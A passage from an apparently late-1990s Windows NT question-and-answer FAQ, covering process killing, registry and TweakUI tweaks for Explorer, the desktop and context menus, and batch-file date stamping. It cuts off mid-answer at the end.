198 notepad.exe Untitled - Notepad
214 TLIST.EXE

The first part, the number, is the process ID, for example, 198 is the process ID of the notepad.exe process that is running. Once we know the Process ID (or PID) we can stop it using the kill.exe utility.

C:\>kill 198
process #198 killed

You can optionally use the -f switch which forces the process kill.

You may, if you wish, kill a process on its name instead, e.g.

c:\>kill notepad.exe

will also work.


Q. How can I open a command prompt at my current directory in Explorer?

A. It may be a normal situation you are browsing directories in Explorer and want to open a command prompt at the current location without having to type a long cd .... to get to the correct directory. It is possible to add a context menu option to folders to bring up a "Command prompt here" which will open a command prompt at your current explorer location.

A Powertoy, Command Prompt Here, can be downloaded from Microsoft (and is also included with the resource kit, cmdhere.inf), however all this does is update a couple of registry entries and can be accomplished manually allowing greater flexibility

  1. Start the Registry Editor (regedit.exe)
  2. Move to HKEY_CLASSES_ROOT\Folder\shell (you could use HKEY_CLASSES_ROOT\Directory\shell but it would then not apply to folders, whereas Folder does both)
  3. From the Edit menu select New - Key and enter a name of CmdHere (or anything else)
  4. Under the new key select New - Key and enter a name of command (lowercase)
  5. Under the key (CmdHere) double click on (Default) and enter a name that will be displayed when you right click on the directory, e.g. "Command Prompt Here"
    As an extra, if you a & to the front of a character it will cause it to be underlined, e.g. "&John Prompt here" would produce John Prompt here.
  6. Move to the command key and again double click on (Default) and enter
    <system dir>\System32\cmd.exe /k cd "%1"
    e.g. c:\winnt\System32\cmd.exe /k cd "%1"
    You can use "%l" instead of "%1" which will support long file names.
  7. Close the registry editor

There is no need to reboot the machine and the new option will be available when you right click on a folder

Example command prompt context item


Q. How can I open a command prompt at my current drive in Explorer?

A. Exactly the same as the previous tip but this time a command prompt for a base drive (which has a separate context menu)

  1. Start the Registry Editor (regedit.exe)
  2. Move to HKEY_CLASSES_ROOT\Drive\shell
  3. From the Edit menu select New - Key and enter a name of CmdHere (or anything else)
  4. Under the new key select New - Key and enter a name of command (lowercase)
  5. Under the key (CmdHere) double click on (Default) and enter a name that will be displayed when you right click on the directory, e.g. "Command Prompt Here"
    As an extra, if you a & to the front of a character it will cause it to be underlined, e.g. "&John Prompt here" would produce John Prompt here.
  6. Move to the command key and again double click on (Default) and enter
    <system dir>\System32\cmd.exe /k cd "%1"
    e.g. c:\winnt\System32\cmd.exe /k cd "%1"
  7. Close the registry editor

Below is an inf file that incorporates the creation of the Command Here for drives and directories of you don't have cmdhere.inf that comes with the resource kit. Save it with a .inf extension and then right click on it and select install.

; Command Here
[Version]
Signature = "$Windows NT$"
Provider=%Provider%

[Strings]
Provider="SavillTech Ltd"

[DefaultInstall]
AddReg = AddReg

[AddReg]
HKCR,Directory\Shell\CmdHere,,,"Command Here"
HKCR,Directory\Shell\CmdHere\command,,,"%11%\cmd.exe /k cd ""%1"""
HKCR,Drive\Shell\CmdHere,,,"Command Here"
HKCR,Drive\Shell\CmdHere\command,,,"%11%\cmd.exe /k cd ""%1"""


Q. How can I change the editor used to edit batch/command files?

A. If you right click on a .bat or .cmd file and select edit the file will be opened in Notepad however you may want to use a different editor as the default.

This can be accomplished by making two small registry modifications

  1. Start the registry editor (regedit.exe)
  2. We will first change the editor used for .bat files.
  3. Move to HKEY_CLASSES_ROOT\batfile\shell\edit\command
  4. Double click on the (Default) value and change to the executable you want to use to edit the batch files, e.g. C:\Program Files\DevStudio\SharedIDE\BIN\msdev.exe "%1" if you wanted to use Microsoft Development editor. Click OK
  5. We shall now perform the same for .cmd files
  6. Move to HKEY_CLASSES_ROOT\cmdfile\shell\edit\command
  7. Double click on the (Default) value and again change to the editor to use. Click OK

No reboot is required and any changes take immediate effect

You could also perform the above via a GUI front end by selecting View - Folder options - File Types from Explorer. You could then select the file type, e.g. "MS-DOS Batch file" and click Edit. The context menu options available are listed and you can modify them. All this does is update the registry values we have looked at.

If you wanted to leave the existing option and add a new Edit option, e.g. "Edit with MSDEV" perform the following (in this example we will only update .bat with a second edit option but the same could be performed on cmd):

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CLASSES_ROOT\batfile\shell
  3. From the Edit menu select New - Key and enter a name of "editms" (don't type the quotes)
  4. Double click on the (Default) value under editms and set the name to be displayed on the context menu, e.g. "Edit with MSDEV", click OK
  5. Select editms and select New - Key from the edit menu and enter a name of "command" (again don't enter the quotes)
  6. Double click the (Default) under command and set to the required value, e.g. C:\Program Files\DevStudio\SharedIDE\BIN\msdev.exe "%1" for msdev. Click OK
  7. Close the registry editor

You will now have two options when you right click on a batch file, edit and edit with MSDEV.

Edit with MSDEV

You can use this on any type of file, e.g. txt files by editing HKEY_CLASSES_ROOT\txtfile\shell\open\command. Just look through HKEY_CLASSES_ROOT\xxxfile where xxx is the extension (actually to find the correct file type use the assoc command, e.g. assoc .txt, it will then return the file type, txtfile).


Q. The AT command works differently under NT 4.0 than NT 3.51.

A. To better support long file names the parsing algorithm was changed in NT 4.0 so that only the target file should be surrounded by quotes, for example

Under Windows NT 3.51
C:\> at 20:00 "notepad d:\documents\bonde\maxfactor.txt"

Where as under Windows NT 4.0
C:\> at 20:00 notepad "d:\documents\bonde\maxfactor.txt"

This causing a problem as if you surround the whole command in double quotes, for example a batch file, it will not run correctly.

Support for a registry key has been improved in Windows NT 4.0 Service Pack 4 which allows you to force the parse of the AT command to behavior in the same manner as 3.51 and to achieve this perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule
  3. From the Edit menu select New - Key and enter a name of Parameters and press enter
  4. Move to this new Parameters Key and from the Edit menu select New - DWORD value. Enter a name of UseOldParsing and press enter
  5. Double click on the new value and set to 1
  6. Reboot the machine


Q. How can I append the date and time to a file?

A. You can use the batch file below which will rename a file to filename_YYYYMMDDHHMM.

@Echo OFF
TITLE DateName
REM DateName.CMD
REM takes a filename as %1 and renames as %1_YYMMDDHHMM
REM
REM -------------------------------------------------------------
IF %1.==. GoTo USAGE
Set CURRDATE=%TEMP%\CURRDATE.TMP
Set CURRTIME=%TEMP%\CURRTIME.TMP

DATE /T > %CURRDATE%
TIME /T > %CURRTIME%

Set PARSEARG="eol=; tokens=1,2,3,4* delims=/, "
For /F %PARSEARG% %%i in (%CURRDATE%) Do SET YYYYMMDD=%%l%%k%%j

Set PARSEARG="eol=; tokens=1,2,3* delims=:, "
For /F %PARSEARG% %%i in (%CURRTIME%) Do Set HHMM=%%i%%j%%k

Echo RENAME %1 %1_%YYYYMMDD%%HHMM%
RENAME %1 %1_%YYYYMMDD%%HHMM%
GoTo END

:USAGE
Echo Usage: DateName filename
Echo Renames filename to filename_YYYYMMDDHHMM
GoTo END

:END
REM
TITLE Command Prompt

Example:

D:\Exchange> datetype logfile.log
RENAME logfile.log logfile.log_199809281630

Another method is as follows without temporary files. Also a leading zero is inserted for hour values below 10:

for /f "tokens=1,2" %%u in ('date /t') do set d=%%v
for /f "tokens=1" %%u in ('time /t') do set t=%%u
if "%t:~1,1%"==":" set t=0%t%
set timestr=%d:~6,4%%d:~3,2%%d:~0,2%%t:~0,2%%t:~3,2%
echo %timestr%

Other date options include LOGTIME.EXE which enables you to specify a string and then writes the time followed by the string to the file logtime.log at the current default directory.

The other option is NOW.EXE which just replaces itself with the date and time, e.g.

D:\temp>now Batch complete
Mon Sep 28 15:54:19 1998 -- Batch complete

Both of the above utilities are part of the resource kit.

Another way is by using the following FOR command, a log file can be created using real dates.

rem created unique log filename, e.g. Wed0804
FOR /F "tokens=1-4 delims=/" %%i in ('date/t') do set file=%%i%%j%%k
Set LOG=drive:\directory\filename-%file%.log

The result is a file named filename-date.log. Easier and works great!


Q. How can I switch my command window to full screen mode?

A. Normally your command prompt (cmd.exe) is displayed in a window, however it can be configured to be displayed "full screen"

  1. Right click on the title of the command window and select Properties
  2. Select the options tab. Click OK
  3. You have the option to either make the change just for the current session of for all future sessions. Make you choice and click OK

An alternative (and which allows you to switch from full screen to window) is to press Alt-Enter which toggles between window and full screen mode.


Q. International versions of NT have strange behavior in command prompt.

A. The cause may be that the commands require a US Set of Characters. Try starting your command prompt session with

C:\> CHCP 437

This will hopefully help. It just sets the active code page to English (MS DOS Latin US).


Q. What is the difference between cmd.exe and command.com?

A. Windows NT/Windows 2000 supply cmd.exe and command.com. CMD.EXE is the Windows NT command line interface, its NOT a DOS window. COMMAND.COM is a 16-bit DOS application which is used for older DOS compatibility and actually runs inside the NTVDM (NT Virtual DOS Machine) due to its 16-bit nature.

What may surprise you is the face that COMMAND.COM and CMD.EXE have almost identical features and this is because any command entered in COMMAND.COM it is packaged up and sent to CMD.EXE for execution and thanks to this COMMAND.COM can take advantage of all the functions and facilities of CMD.EXE. This is possible as the version of COMMAND.COM shipped with NT IS a special NT version designed to pass all execution to CMD.EXE.

If you had Task Manager running you would actually see a CMD.EXE process started when executing commands in COMMAND.COM.


Q. How can I configure the command prompt to output to files in UNICODE/ANSI?

A. Windows NT/2000 includes full UNICODE support and its possible to configure a CMD.EXE session to output in UNICODE or ANSI (ANSI being the default)

To set this when starting the CMD.EXE session just add:

  • /A - Output to files or pipes will be in ANSI
  • /U - Output to files or pipes will be in Unicode

For example

cmd.exe /u

would start a session in UNICODE output mode.


Q. How can I force the output of a program into an environment variable?

A. Some programs return values to the command line and it may be you want these in a variable so they can be viewed/queried by other processes.

The easiest way to put the result into an environment variable is to trap it in a FOR statement.

For /f "Tokens=*" %i in ('command') do set variable="%i"

For example:

C:\>For /f "Tokens=*" %i in ('ver') do set NTVersion="%i"

C:\>set NTVersion="Windows NT Version 4.0 "

C:\>echo %NTVersion%
"Windows NT Version 4.0 "

If you place the command in a batch file you require two % in front of i, e.g.

For /f "Tokens=*" %%i in ('ver') do set NTVersion="%%i"


Q. How do I delete/rename the Recycle Bin?

A. When you right click on the Recycle Bin it's context menu does not display a rename or delete option as on other desktop shortcuts/components. To add the rename option perform the following:

  1. Start the registry editor (regedt32.exe, don't user regedit.exe)
  2. Move to HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\ShellFolder
  3. Double click on the Attributes value in the right hand pane
  4. Change from 40010020 to 50010020
  5. Click OK

If you right click on Recycle Bin you now have a rename option.

If you want to be able to delete the icon change the Attributes value to 60010020 by following the procedure above. To have the rename and delete option change the Attributes value to 70010020. You can now delete by right clicking on the icon and select Delete. Click Yes to the confirmation.

You may want to avoid manually updating the registry and you can delete the icon by using the TweakUI utility. If you have TweakUI installed perform the following:

  1. Start the TweakUI control panel applet (Start - settings - control panel - TweakUI)
  2. Click the Desktop tab
  3. Unselect the "Recycle Bin" box and click OK


Q. How do I disable Task Manager?

A. This can be done using the registry as follows

  1. Start the Registry Editor
  2. HKEY_CURRENT_USER\Software\Microsoft\windows\currentversion\Policies
  3. If the \System key does not exist create it
  4. Add a new value of type DWORD called DisableTaskMgr and set to 1
  5. Exit registry editor

This can also be done using the policy editor

  1. Start the Policy editor
  2. Select the User, or edit the default User
  3. Goto Shell/Restrictions and select "remove Taskbar from user"

To remove Task Manager for all users just rename taskmgr.exe to something else, or if it is on a NTFS partition you can set the permissions so normal users cannot access it.


Q. How do I disable Window animation?

A. Using TWEAKUI on the General tab, you can unselect "Window Animation" which will stop the animation when a window is minimized/restored. This can also be accomplished using the registry:

  1. Start the registry editor (regedit.exe)
  2. Goto the key HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics
  3. Double click MinAnimate
  4. Set to 1 for normal animation, set to 0 for none
  5. Close the registry editor
  6. Logout and login again (if you use TWEAKUI there is no need to logout)


Q. How do I reduce/increase the delay for cascading menus?

A. You can use TWEAKUI - Mouse tab and decrease/increase the menu time, however this can also be accomplished using the registry editor and changing the value HKEY_CURRENT_USER\Control Panel\Desktop\MenuShowDelay.


Q. How do I change the My Computer icon?

A. This can be changed using Themes for NT or the Plus Tab of Display settings, however it can also be changed using the registry editor

  1. Start the registry editor (regedit.exe)
  2. Move to the HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\DefaultIcon
  3. Double click on (Default)
  4. Set to the icon required, e.g. "d:\Prog Files\Plus\Themes\John.ico,0". The 0 shows it is icon 1 in the file
  5. Exit the registry editor


Q. How do I hide the "Network Neighborhood" icon?

A. You can use TWEAKUI and on the "Desktop" tab unselect "Network Neighborhood". This can also be done using the registry:

  1. Start the registry editor (regedit)
  2. Move to the HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
  3. From the Edit menu select New - DWORD value.
  4. Enter a name of NoNetHood and press Enter
  5. Double click the new value and set to 1. Click OK
  6. Close the registry editor
  7. Log off and log on and Network Neighborhood will be hidden


Q. Why can't I move any icons?

A. It is possible to configure NT to autoarrange the icons, which means you cannot manually move them. To turn off this feature, right click on the desktop (anywhere where there is not a window), Arrange Icons, and unselect auto-arrange.


Q. How can I disable the Right mouse button?

A. For those systems running with Service Pack 2 or above, it is possible to disable the context menu as follows:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
  3. From the Edit menu, select New - DWord Value
  4. Enter the name NoViewContextMenu and press enter
  5. Double click the new value and set the value to 1 and click OK
  6. Close the registry editor
  7. Logout and Login again

To remove this, just delete the value NoViewContextMenu and logout and login again (or set it to 0)


Q. How do I change the colour used to display compressed files/directories?

A. The colour used is stored in the registry in hexadecimal format, therefore before you try and change the colour you need to work out what the value is in hex. Usually you know a colour as an RGB value like 255,0,0 for red and to convert this to Hex use the calculator supplied with Windows NT (calc.exe)

  1. Start the Calculator (Start - Run - Calc.exe)
  2. From the View menu select scientific
  3. Select Dec and enter in the first part of the RGB value
  4. Click Hex and it will be displayed in Hex, e.g. 255 would show ff
  5. Repeat for the G and B parts of the colour

You will now have a hex value for the colour, e.g. 255,128,0 would be ff, 80, 0

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer
  3. Double Click on the AltColor value in the right hand pane
  4. You will see the actual value as something like
    0000 00 00 FF 00 ..y.
    Ignore the set of four zeros, and only modify the 3 sets of numbers after that, i.e. the 00, 00 and FF, ignore the last 2. To edit click once to the right of the value you wish to change the press the backspace key and it will delete both parts of the number, then type in your new value.
  5. Click OK and then close the registry editor
  6. You will need to logoff and on again for the change to take effect.

If you would prefer to avoid the registry, you can make the same change using the TweakUI utility

  1. Start the TweakUI Control Panel applet (Start - Settings - Control Panel - TweakUI)
  2. Click on the explorer tab
  3. At the bottom is shows the "color of compressed files" (why can't Americans spell Colour :-) ), click "Change Color"
  4. You can now just select the colour you want, and click OK
  5. Click OK
  6. You will need to logoff and on again for the change to take effect


Q. How can I configure the wallpaper to be displayed somewhere other than the center of the screen?

A. It is possible to configure NT to display a wallpaper anywhere on the screen, however you have to manually update the registry

  1. Start the registry editor (regedt32.exe)
  2. Move to HKEY_CURRENT_USER\Control Panel\Desktop
  3. From the Edit menu, select Add Value
  4. Enter a name of WallpaperOriginX with a type of REG_SZ and click OK, you will then be prompted for a value, this is the number of pixels the left hand side of the image will be from the left side of the screen
  5. Next select Add Value again from the Edit menu and this time the name WallpaperOriginY, click OK and enter the number of pixels the top of the image should be from the top of the screen
  6. Logoff and on to see the change take effect


Q. How can I stop the "Click here to begin" message?

A. There are 2 ways to accomplish this. If you have the TweakUI utility perform the following

  1. Start the TweakUI Control Panel Applet (Start - Settings - Control Panel - TweakUI)
  2. Click the Explorer Tab
  3. Deselect "Animated click here to begin"
  4. Click OK

If you don't have TweakUI you will need to edit the registry directly

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
  3. Double click on NoStartBanner and change to 01 00 00 00
  4. Click OK
  5. Close the registry editor


Q. How can I get more room on the Task Bar?

A. If you move the cursor over the top of the task bar it will turn into a double headed arrow. When the cursor is the double arrow hold down the left hand button and drag upwards and the task bar's area will be increased one row at a time. Likewise you can shrink it by dragging downwards.


Q. How do I add the Control Panel to the Start Menu?

A. Create a New folder under the start menu you wish to have it on. (administrator or All users) Name the New folder

Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}

Complete with the period, brackets and dashes. Once entered it will automatically be renamed to Control Panel and unlike the Settings Control Panel it will be cascading meaning all control panel applets will be shown as sub-objects.

If you have a problem, try pressing F5 to refresh the screen, or log off and on again.


Q. How can I remove a program from the Open With when right clicking?

A. Each entry in the "Open With" has an entry in the registry HKEY_CLASSES_ROOT called <extension>_auto_file, e.g. doc_auto_file for work. To remove the entry just delete the base <extension>_auto_file tree in the registry. If you were unsure you could use the following:

  1. Start the registry editor (regedit.exe)
  2. Search for the name of the exe you want to remove from the "Open With" menu
  3. If a match is found, and its root is HKEY_CLASSES_ROOT/xxx_auto_file then delete the tree HKEY_CLASSES_ROOT/xxx_auto_file
  4. Close the registry editor


Q. How do I change the Internet Explorer icon?

A. For Internet Explorer version prior to 4.0 follow the procedure below:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CLASSES_ROOT\CLSID\{FBF23B42-E3F0-101B-8488-00AA003E56F8}\DefaultIcon
  3. Double click Default on the right hand side and change to the icon you require (use browse)
  4. Select OK
  5. Close the registry editor

There is a program called MicroAngelo available from http://www.iconstructions.com which automates this procedure.

The solution above does not work for Internet Explorer 4.0 and above, the method is as follows:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}
  3. From the Edit menu, select New - Key and enter the name of DefaultIcon and press Enter
  4. Double click Default on the right hand side and change to the icon you require (use browse)
  5. Select OK
  6. Close the registry editor

There are some really nice IE icons at http://www.blably.com/iconstructions/ .


Q. How do I add an item to the Right Click menu?

A. Follow the procedures below:

  1. Start the Registry Editor (REGEDIT.EXE)
  2. Expand the HKEY_CLASSES_ROOT by clicking the plus sign
  3. Scroll down and expand the Unknown subkey
  4. Click on the Shell key and right click on it.
  5. Select New from the pop-up menu and choose Key.
  6. Enter the name you want to be displayed, e.g. the name of the application. Click Enter
  7. Right click on the new subkey and click New. Again select Key and enter the name "Command" and click Enter
  8. Click on the newly created Command and double click on "(Default)"
  9. Enter the path and name of the executable with %1, i.e.
    d:\program files\savedit\savedit.exe %1
  10. Close the registry editor

When you right click on a file the new entry will be displayed.


Q. Is it possible to move the Task bar?

A. The Task bar can be moved any of the 4 sides, left, right, top and bottom. To move just single click on the task bar and drag to the side you wish the task bar to reside on.

If you have lost the task bar just press Ctrl-Esc to redisplay.


Q. How can I configure NT to display a thumbnail of bitmaps as the icon instead of the Paint icon?

A. Perform the following, for best effect make explorer use large icons

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CLASSES_ROOT\Paint.Picture\DefaultIcon
  3. Double click on Default in the left hand pane, and change to %1, click OK
  4. Close the registry editor. The change will take immediate effect.


Q. Can I remove one of the startup folders on the Start Menu?

A. Unfortunately no, one is your own user startup folder (%systemroot%\Profiles\<Username>\Start Menu\Programs\Startup) and the other is the All Users (%system root%\Profiles\All Users\Start Menu\Programs\Startup). Both are system files and therefore undeletable.

It is possible to hide one or both of the startup folders by setting the hidden attribute on the folder:

attrib +h %system root%\Profiles\<Username>\Start Menu\Programs\Startup

A trick has been found to remove one of the startup menus by copying the All Users Startup group over the Administrator Startup group which then deletes the All Users startup group.

To be precise you cannot delete either of the two Startup groups, the settings for both must exist, and the paths for both must exist.

However the Startup group setting is independent of the Start Menu setting. The problem is the Microsoft defaults to putting the Startup group nested inside the Start Menu.

Change the Startup group path in the registry (key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders) to something like:

%systemroot%\Profiles\<Username>\Startup

You can leave the Start Menu path as:

%systemroot%\Profiles\<Username>\Start Menu

Any shortcuts existing in the Startup group will still get launched even though you do not see them in the StartMenu.


Q. How can I clear the Run history?

A. The Run history is stored in the registry in location HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU as a series of values a-z. To delete an entry from the run menu perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
  3. Select the entry you wish to remove, e.g. h
  4. Press the Del key (or select Edit - Delete) and click Yes to the confirmation
  5. Double click the MRUList value and remove the letter you just deleted. Click OK to save the change
  6. Close the registry editor

If you want to clear the whole Run list you can use the TweakUI utility

  1. Start the TweakUI control panel applet (Start - Settings - Control Panel - TweakUI)
  2. Click the Paranoia tab :-)
  3. Check the "Clear Run history at logon"
  4. Click the "Clear Selected Items Now"
  5. You can then either clear the check on "Clear Run history at logon" and click OK or leave it checked to automatically clear the Run at logon


Q. How can I remove the Documents menu?

A. There is no way to remove the Documents menu from the Start button without Active Desktop installed and you have to empty it at the start of each session. With Windows 98 you can remove the Documents menu.

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
  3. From the Edit menu select New - DWORD value
  4. Enter a name of NoFavoritesMenu and press Enter
  5. Double click the new value and set to 1. Click OK
  6. Close the registry editor

Log off and on again and the Docuements menu is gone.

For NT you will have to perform the following:

The documents menu is actually the contents of %systemroot%\Profiles\<username>\Recent, e.g. d:\winnt\Profiles\savillj\Recent, and if you delete the contents of this folder then nothing will be shown in the documents menu. The easiest way to do this would be to create a batch file and place it in you startup group

  1. Start Notepad
  2. Enter into the file
    del /q %systemroot%\Profiles\%username%\Recent\*.*
    actually type the %systemroot% and %username% unless you are performing this on a Windows 95 machine in which case you should type in real values.
  3. Save the file as "deldoc.bat" (put the file name in quotes or notepad will add .txt to the end) in a directory of you choice
  4. Start Explorer
  5. Move to the folder you saved deldoc.bat to and right click on it.
  6. Drag the file to the %systemroot%\Profiles\%username%\Start Menu\Programs\Startup (e.g. d:\winnt\Profiles\savillj\etc..) and release. Select "create shortcut here" from the displayed context menu

When you login from now on the batch file will be run and delete your Documents menu.

The same effect can be gained if you have TweakUI installed by clicking the Paranoia tab and checking "Clear Document history at logon"

If you have Active Desktop in NT 4.0 or Windows 2000 using TweakUI 98, select the IE tab and unselect the 'Show Documents on Start Menu'. This can also be done by directly editing the registry and setting HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsMenu to 1 (of type REG_BINARY).


Q. How do I disable the context menu for the Start button?

A. The context menu if displayed when you right click on an object. If you right click on the Start button you get options to start explorer, find etc. To disable this perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CLASSES_ROOT\Directory\shell
  3. Delete the keys under this, for example DosHere, find
  4. Move to HKEY_CLASSES_ROOT\Folder\shell
  5. Delete the keys under this, for example explore, open

Right clicking on Start will now have removed these options.

To disable the context menu entirely perform the following

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
  3. From the Edit menu select New - DWORD Value
  4. Enter a name of NoTrayContextMenu and press Enter
  5. Double click the new value and set to 1.

To re-enable the Context menu you would set to 0. Logout and in again for this to take effect.


Q. How do I change the Network Neighborhood icon?

A. This can be changed using Themes for NT or the Plus Tab of Display settings, however it can also be changed using the registry editor

  1. Start the registry editor (regedit.exe)
  2. Move to the HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\DefaultIcon
  3. Double click on (Default)
  4. Set to the icon required, e.g. "d:\Prog Files\Plus\Themes\John.ico,0". The 0 shows it is icon 1 in the file
  5. Exit the registry editor


Q. How do I change the Recycle Bin icons?

A. There are two icons for the Recycle bin, an empty and a full. To change them use the following

  1. Start the registry editor (regedit.exe)
  2. Move to the HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\DefaultIcon
  3. To change the empty icon double click on Empty, to change the full icon double click on Full
  4. Set to the icon required, e.g. "d:\Prog Files\Plus\Themes\John.ico,0". The 0 shows it is icon 1 in the file
  5. Exit the registry editor

You can also change the icons using the Plus tab of Display properties.


Q. How do I change the Briefcase icon?

A. To change this icon perform the same as in Q. How do I change the Network Neighborhood icon? but use HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{85BBD920-42A0-1069-A2E4-08002B30309D}\DefaultIcon in step 2.


Q. How can I get rid of the arrow over the shortcuts?

A. You can remove the overlay by using TweakUI

  1. Start TweakUI control panel applet (Start - Settings - Control Panel - TweakUI)
  2. Click the Explorer tab
  3. Select the arrow type (Arrow, light arrow, none or custom)
  4. Click Apply then OK
  5. Close the TweakUI applet

You can also remove the arrow by editing the registry

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CLASSES_ROOT\lnkfile
  3. Select IsShortcut and select Delete from the Edit menu
  4. Restart the machine


Q. I have deleted the Recycle bin how can I recreate it?

A. If you have TweakUI click the Desktop tab and check the "Recycle Bin" and click Apply then OK. If you do not have TweakUI you can re-add by directly updating the Registry:

  1. Start the Registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace
  3. From the Edit menu select New - Key
  4. Enter a name of "{645FF040-5081-101B-9F08-00AA002F954E}"
  5. Select the new key and double click on (Default). Set to "Recycle Bin" and click OK
  6. Close the registry editor
  7. Press F5 on the desktop for the Recycle bin to appear.


Q. I have deleted Internet Explorer from the desktop how can I recreate it?

A. Again you can use TweakUI, select Desktop and check the "The Internet" box, click Apply then OK. Alternatively you can directly edit the registry:

  1. Start the Registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace
  3. From the Edit menu select New - Key
  4. Enter a name of "{FBF23B42-E3F0-101B-8488-00AA003E56F8}"
  5. Select the new key and double click on (Default). Set to "The Internet" and click OK
  6. Close the registry editor
  7. Press F5 on the desktop for the Internet Explorer icon to appear.


Q. How can I add a shortcut to launch a screensaver on the desktop?

A. Screensavers are just programs with a .scr extension. To create a shortcut of a screensaver perform the following:

  1. Start Explorer (Win+E, or Start - Programs - NT Explorer)
  2. Move to the %systemroot%\system32 directory (e.g. d:\winnt\system32)
  3. Find the .scr file of the screen saver (you could perform a search, Tools - Find - Folders of Files, enter a name of *.scr and unselect "Include subfolders", click Find Now)
  4. Right click on one of them, drag it to the desktop, release the right mouse button and select "Create shortcut here"
  5. Next right click on the new shortcut and select properties
  6. In the target box add to the end "-s", e.g.
    C:\WINNT\system32\sspipes.scr -s
  7. Click OK

This screensaver would not be password protected.


Q. How do I delete/rename the Inbox icon?

A. When you right click on the Inbox icon it's context menu does not display a rename or delete option as on other desktop shortcuts/components. To add the rename option perform the following:

  1. Start the registry editor (regedt32.exe, don't user regedit.exe)
  2. Move to HKEY_CLASSES_ROOT\CLSID\{00020D75-0000-0000-C000-000000000046}\ShellFolder
  3. Double click on the Attributes value in the right hand pane
  4. Change from 72000000 to 50000000
  5. Click OK

If you right click on the Inbox icon you now have a rename option.

If you want to be able to delete the icon change the Attributes value to 60000000 by following the procedure above. You can now delete by right clicking on the icon and select Delete. Click Yes to the confirmation.

You may want to avoid manually updating the registry and you can delete the icon by using the TweakUI utility. If you have TweakUI installed perform the following:

  1. Start the TweakUI control panel applet (Start - settings - control panel - TweakUI)
  2. Click the Desktop tab
  3. Unselect the "Inbox" box and click Apply then OK


Q. I have deleted the Inbox icon, how can I recreate it?

A. If you have TweakUI click the Desktop tab and check the "Inbox" and click Apply then OK. If you do not have TweakUI you can re-add by directly updating the Registry:

  1. Start the Registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace
  3. From the Edit menu select New - Key
  4. Enter a name of "{00020D75-0000-0000-C000-000000000046}"
  5. Select the new key and double click on (Default). Set to "Inbox" and click OK
  6. Close the registry editor
  7. Press F5 on the desktop for the Inbox icon to appear


Q. How can I stop and start Explorer (the shell)?

A. Explorer is just a process so you can stop the Explorer process and then start a new one. You should use caution with this though and you will also lose the service type icons on the taskbar when Explorer restarts.

  1. Right click on the task bar and select Task Manager
  2. Click the Processes tab, select explorer and click "End Process"
  3. Click the Applications tab and click "New Task"
  4. Enter a name of explorer and click OK
  5. Close Task Manager


Q. How do I enable the mouse snap-to?

A. Is it possible to configure windows to move the mouse to the default button to speed up general operations. To enable this perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Control Panel\Mouse
  3. If the value SnapToDefaultButton exists goto step 4, otherwise select New - String Value from edit value and enter a name of SnapToDefaultButton (watch the case).
  4. Double click on the value and set to 1. Click OK
  5. Close the registry editor
  6. Logoff and on for the change to take effect

This can also be accomplished using the Mouse control panel applet, select the "StepSavers" tab and check the SnapTo box if you have the IntelliMouse software installed or select the Motion tab and check the "Snap Mouse to the default button in dialog" box if you don't. Click Apply then OK and you won't have to reboot.


Q. How do I enable X Windows-Style auto-raise?

A. Is it possible to configure windows so when you move the mouse over a window it will come into focus:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Control Panel\Mouse
  3. If the value ActiveWindowTracking exists goto step 4, otherwise select New - DWORD Value from edit value and enter a name of ActiveWindowTracking (watch the case).
  4. Double click on the value and set to 1. Click OK
  5. Close the registry editor
  6. Logoff and on for the change to take effect

An undesirable side-effect of this is when turning on X-Windows-style auto-raise, Netscape Navigator button-based menus (ie, for bookmarks, etc) do not work at all because auto-raise causes somewhat of an infinite loop between the browser and its menus (which are implemented as windows).


Q. How do I remove a template from the New menu?

A. If you select New within, for example, Explorer you will be given a large list of document templates that have registered themselves on your machine.

If you would like to trim away some of these perform the following:

